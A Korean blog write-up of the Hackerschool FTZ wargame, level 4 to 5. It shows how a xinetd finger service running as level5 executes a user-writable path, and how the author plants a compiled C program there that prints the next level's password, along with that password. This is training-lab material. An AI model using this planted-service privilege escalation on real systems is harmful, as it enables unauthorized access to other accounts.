[FTZ] level 4 → level 5 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 4 → level 5 문제풀이

disso1p1 2020. 2. 1. 22:20

 

 

 

level4 - id : level4 , pw : suck my brain

 

[level4@ftz level4]$ ls
hint  public_html  tmp
[level4@ftz level4]$ cat hint


누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!


[level4@ftz level4]$

 

/etc/xinetd.d/ 디렉토리에 백도어를 심어놓았다고 한다.

 

일단 /etc/xinetd.d/ 디렉토리에 가보자.

 

[level4@ftz level4]$ cd /etc/xinetd.d/
[level4@ftz xinetd.d]$ ls               
backdoor     daytime      echo-udp  rexec   rsync     sgi_fam  time
chargen      daytime-udp  finger    rlogin  servers   talk     time-udp
chargen-udp  echo         ntalk     rsh     services  telnet
[level4@ftz xinetd.d]$ ls -al backdoor 
-r--r--r--    1 root     level4        171  9월 10  2011 backdoor
[level4@ftz xinetd.d]$ 

 

backdoor 파일은 level4 유저에게 r (읽기) 권한을

주는 것을 알 수 있다.

 

[level4@ftz xinetd.d]$ cat backdoor 
service finger 
{
	disable	= no
	flags		= REUSE
	socket_type	= stream        
	wait		= no
	user		= level5
	server		= /home/level4/tmp/backdoor
	log_on_failure	+= USERID
}
[level4@ftz xinetd.d]$

 

backdoor 파일은 service finger 함수(?)를 실행시키는 프로그램이다.

 

 service finger 에서 finger 는 리눅스에서 사용자의 계정정보를 확인하는 명령어이다.

trainer 단계에서 잠깐 언급한 내용이라 새록새록 기억이 난다.

 

[level4@ftz xinetd.d]$ finger 
Login     Name       Tty      Idle  Login Time   Office     Office Phone
level4    Level 4    pts/0          Feb 1 21:12 (192.168.0.12)
level4    Level 4    pts/1    1:46  Feb 1 21:08 (192.168.0.12)
root      root       tty1     2:58  Feb 1 19:53
[level4@ftz xinetd.d]$ 

 

이런 식으로 사용자의 로그온 이름, 실제 이름, 터미널 이름,  로그온 시간 등을 보여줄 수 있다.

 

 

$ finger <user명> <@host명>

 

이 명령어를 사용하면 user에 연결되어있는 서버에서 user의 정보를 출력해준다.

 

 

 

backdoor 파일에서 중요한 부분은

유저가 level5 이고,

서버가 /home/level4/tmp/backdoor 에 연결되어있다는 것이다.

 

위 명령어를 이용하여 정보를 출력해서 password를 알아내는 방식으로 진행할 것인데,

현재 연결된 서버에 /home/level4/tmp/backdoor 라는 파일은 없다.

 

그러므로 우리가 password를 출력하는

backdoor 라는 파일을 만들면 된다.

 

[level4@ftz tmp]$ vim backdoor.c

#include<stdio.h>
#include<stdlib.h>

int main()
{
        system("my-pass;");
        return 0;
}       
~
~
~
~
~
~
~
~
~
:wq

 

이 파일을 backdoor 라는 이름으로 컴파일 하자.

 

[level4@ftz tmp]$ ls
backdoor.c
[level4@ftz tmp]$ gcc -o backdoor backdoor.c 
[level4@ftz tmp]$ ls
backdoor  backdoor.c
[level4@ftz tmp]$ 

 

이제 finger 명령어를 사용하면 /home/level4/tmp/backdoor 에 연결돼서

이 backdoor 파일을 실행하게 된다.

 

user명은 level4이고,

host명은 hostname 명령어를 쓰자 해커스쿨 ftz 서버 주소가 나오는데,

나는 vmware로 구축했기 때문에인지 안 먹히는 것 같다.

그래서 ifconfig 명령어로 나온 inet 뒤에 있는 아이피 주소를 사용했다.

 

[level4@ftz tmp]$ finger level4 @192.168.0.8
^[[H^[[J
Level5 Password is "what is your name?".


Login: level4         			Name: Level 4
Directory: /home/level4             	Shell: /bin/bash
On since Tue Feb 1 21:12 (KST) on pts/0 from 192.168.0.12
On since Tue Feb 1 21:08 (KST) on pts/1 from 192.168.0.12
   2 hours 22 minutes idle
No mail.
No Plan.
[level4@ftz tmp]$

 

 

 

 

 

Level5 Password is "what is your name?".

 

 

 

 

감사합니다

Comments